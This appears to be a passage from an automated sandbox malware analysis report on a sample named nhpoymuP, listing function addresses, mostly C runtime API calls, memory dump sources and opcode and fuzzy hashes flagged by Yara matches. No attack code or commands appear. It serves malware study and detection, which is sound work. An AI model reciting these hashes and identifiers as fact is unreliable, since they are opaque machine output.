                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f28d000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 21a7fb215db7cb79046e35c4bd1221701e260969ceb0f7e0bd2b1d756c1bf060
                                                                                                                                                                      • Instruction ID: bd790624ba1e7ad681a34c2294d2f53a333ad3a1c7ca6cf62bbc78a3de6436c9
                                                                                                                                                                      • Opcode Fuzzy Hash: 21a7fb215db7cb79046e35c4bd1221701e260969ceb0f7e0bd2b1d756c1bf060
                                                                                                                                                                      • Instruction Fuzzy Hash: FB0126714083049AE7008B26CD80B57BFD8EF42364F08C52AED094F2C6C379E949CAB2

                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                      Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsDebuggerPresent.KERNEL32 ref: 004136F4
                                                                                                                                                                      • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
                                                                                                                                                                      • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
                                                                                                                                                                      • TerminateProcess.KERNEL32(00000000), ref: 00413737
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2579439406-0
                                                                                                                                                                      • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                      • Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
                                                                                                                                                                      • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                                      • Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D
                                                                                                                                                                      Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetProcessHeap.KERNEL32 ref: 0040ADD0
                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Heap$FreeProcess
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3859560861-0
                                                                                                                                                                      • Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                                      • Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
                                                                                                                                                                      • Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                                      • Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58
                                                                                                                                                                      Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000003.00000002.1965140113.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ExceptionFilterUnhandled
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3192549508-0
                                                                                                                                                                      • Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                                      • Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
                                                                                                                                                                      • Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                                      • Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569
                                                                                                                                                                      Function 2F55DC80 Relevance: .1, Instructions: 114COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1984979216.000000002F550000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F550000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_2f550000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 104c03c1ceea699a069115afba0027bd5077e4b8b1ca845666d461fce8c669a6
                                                                                                                                                                      • Instruction ID: 2326ac392a579b50bdea41beea691b211d83ce2ad3b27ecb41bcc095d4a4cf87
                                                                                                                                                                      • Opcode Fuzzy Hash: 104c03c1ceea699a069115afba0027bd5077e4b8b1ca845666d461fce8c669a6
                                                                                                                                                                      • Instruction Fuzzy Hash: 8141EDB5D043489FDB04DFA9C884A9EBBF1FB09300F20912AE819BB254D774A985CF85
                                                                                                                                                                      Function 3250BFD4 Relevance: .1, Instructions: 67COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: db8ae61139deb9e286a3db3a47ed72533df370364ba3f3d5a397c7d73766e438
                                                                                                                                                                      • Instruction ID: a6ceaa129d6264e9e5b0abbfec1b0a288263338270e311e9c1699c947ed39493
                                                                                                                                                                      • Opcode Fuzzy Hash: db8ae61139deb9e286a3db3a47ed72533df370364ba3f3d5a397c7d73766e438
                                                                                                                                                                      • Instruction Fuzzy Hash: 3D215EB8D04219DFDB04CFA9D8849DDBBF1BB4A310F14A16AE815B7360D7349941CF58
                                                                                                                                                                      Function 3250BFE0 Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: aa52ad0baaea175d980cf5122b11c9c1c92290aca9ffa1a655b0519347b20845
                                                                                                                                                                      • Instruction ID: 9a8051d977a937cdf1689f2dfcad6e34c3ae9e3860a6bcdeea6917de7c0b2c5b
                                                                                                                                                                      • Opcode Fuzzy Hash: aa52ad0baaea175d980cf5122b11c9c1c92290aca9ffa1a655b0519347b20845
                                                                                                                                                                      • Instruction Fuzzy Hash: 85213DB8D04219DFDB04DFA9D8849ADFBF1BB4A310F14A16AE815B7360D7349941CF58
                                                                                                                                                                      Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
                                                                                                                                                                      • _malloc.LIBCMT ref: 0041718A
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
                                                                                                                                                                      • LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
                                                                                                                                                                      • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
                                                                                                                                                                      • _malloc.LIBCMT ref: 0041724C
                                                                                                                                                                      • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
                                                                                                                                                                      • __freea.LIBCMT ref: 004172A4
                                                                                                                                                                      • __freea.LIBCMT ref: 004172AD
                                                                                                                                                                      • ___ansicp.LIBCMT ref: 004172DE
                                                                                                                                                                      • ___convertcp.LIBCMT ref: 00417309
                                                                                                                                                                      • LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
                                                                                                                                                                      • _malloc.LIBCMT ref: 00417362
                                                                                                                                                                      • _memset.LIBCMT ref: 00417384
                                                                                                                                                                      • LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
                                                                                                                                                                      • ___convertcp.LIBCMT ref: 004173BA
                                                                                                                                                                      • __freea.LIBCMT ref: 004173CF
                                                                                                                                                                      • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3809854901-0
                                                                                                                                                                      • Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                                                                                                                                                      • Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
                                                                                                                                                                      • Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                                                                                                                                                      • Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98
                                                                                                                                                                      Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _malloc.LIBCMT ref: 004057DE
                                                                                                                                                                        • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                        • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                        • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                                      • _malloc.LIBCMT ref: 00405842
                                                                                                                                                                      • _malloc.LIBCMT ref: 00405906
                                                                                                                                                                      • _malloc.LIBCMT ref: 00405930
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _malloc$AllocateHeap
                                                                                                                                                                      • String ID: 1.2.3
                                                                                                                                                                      • API String ID: 680241177-2310465506
                                                                                                                                                                      • Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                                                                                                                                                      • Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
                                                                                                                                                                      • Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                                                                                                                                                      • Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A
                                                                                                                                                                      Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3886058894-0
                                                                                                                                                                      • Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
                                                                                                                                                                      • Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
                                                                                                                                                                      • Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
                                                                                                                                                                      • Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD
                                                                                                                                                                      Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • EntryPoint.NHPOYMUP(80070057), ref: 004017EE
                                                                                                                                                                        • Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
                                                                                                                                                                        • Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030
                                                                                                                                                                      • EntryPoint.NHPOYMUP(80070057), ref: 00401800
                                                                                                                                                                      • EntryPoint.NHPOYMUP(80070057), ref: 00401813
                                                                                                                                                                      • __recalloc.LIBCMT ref: 00401828
                                                                                                                                                                      • EntryPoint.NHPOYMUP(8007000E), ref: 00401839
                                                                                                                                                                      • EntryPoint.NHPOYMUP(8007000E), ref: 00401853
                                                                                                                                                                      • _calloc.LIBCMT ref: 00401861
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1721462702-0
                                                                                                                                                                      • Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
                                                                                                                                                                      • Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
                                                                                                                                                                      • Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
                                                                                                                                                                      • Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE
                                                                                                                                                                      Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __getptd.LIBCMT ref: 00414744
                                                                                                                                                                        • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                                        • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                                      • __getptd.LIBCMT ref: 0041475B
                                                                                                                                                                      • __amsg_exit.LIBCMT ref: 00414769
                                                                                                                                                                      • __lock.LIBCMT ref: 00414779
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                      • String ID: @.B
                                                                                                                                                                      • API String ID: 3521780317-470711618
                                                                                                                                                                      • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                      • Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
                                                                                                                                                                      • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                                      • Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D
                                                                                                                                                                      Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __lock_file.LIBCMT ref: 0040C6C8
                                                                                                                                                                      • __fileno.LIBCMT ref: 0040C6D6
                                                                                                                                                                      • __fileno.LIBCMT ref: 0040C6E2
                                                                                                                                                                      • __fileno.LIBCMT ref: 0040C6EE
                                                                                                                                                                      • __fileno.LIBCMT ref: 0040C6FE
                                                                                                                                                                        • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                        • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2805327698-0
                                                                                                                                                                      • Opcode ID: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
                                                                                                                                                                      • Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
                                                                                                                                                                      • Opcode Fuzzy Hash: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
                                                                                                                                                                      • Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D
                                                                                                                                                                      Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __getptd.LIBCMT ref: 00413FD8
                                                                                                                                                                        • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                                        • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                                      • __amsg_exit.LIBCMT ref: 00413FF8
                                                                                                                                                                      • __lock.LIBCMT ref: 00414008
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 00414025
                                                                                                                                                                      • InterlockedIncrement.KERNEL32(00422910), ref: 00414050
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4271482742-0
                                                                                                                                                                      • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                      • Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
                                                                                                                                                                      • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                                      • Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD
                                                                                                                                                                      Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: IsProcessorFeaturePresent$KERNEL32
                                                                                                                                                                      • API String ID: 1646373207-3105848591
                                                                                                                                                                      • Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                                      • Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
                                                                                                                                                                      • Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                                      • Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A
                                                                                                                                                                      Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __fileno.LIBCMT ref: 0040C77C
                                                                                                                                                                      • __locking.LIBCMT ref: 0040C791
                                                                                                                                                                        • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                        • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __decode_pointer__fileno__getptd_noexit__locking
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2395185920-0
                                                                                                                                                                      • Opcode ID: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
                                                                                                                                                                      • Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
                                                                                                                                                                      • Opcode Fuzzy Hash: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
                                                                                                                                                                      • Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D
                                                                                                                                                                      Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _fseek_malloc_memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 208892515-0
                                                                                                                                                                      • Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                                                                                                                                                      • Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
                                                                                                                                                                      • Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                                                                                                                                                      • Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89
                                                                                                                                                                      Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
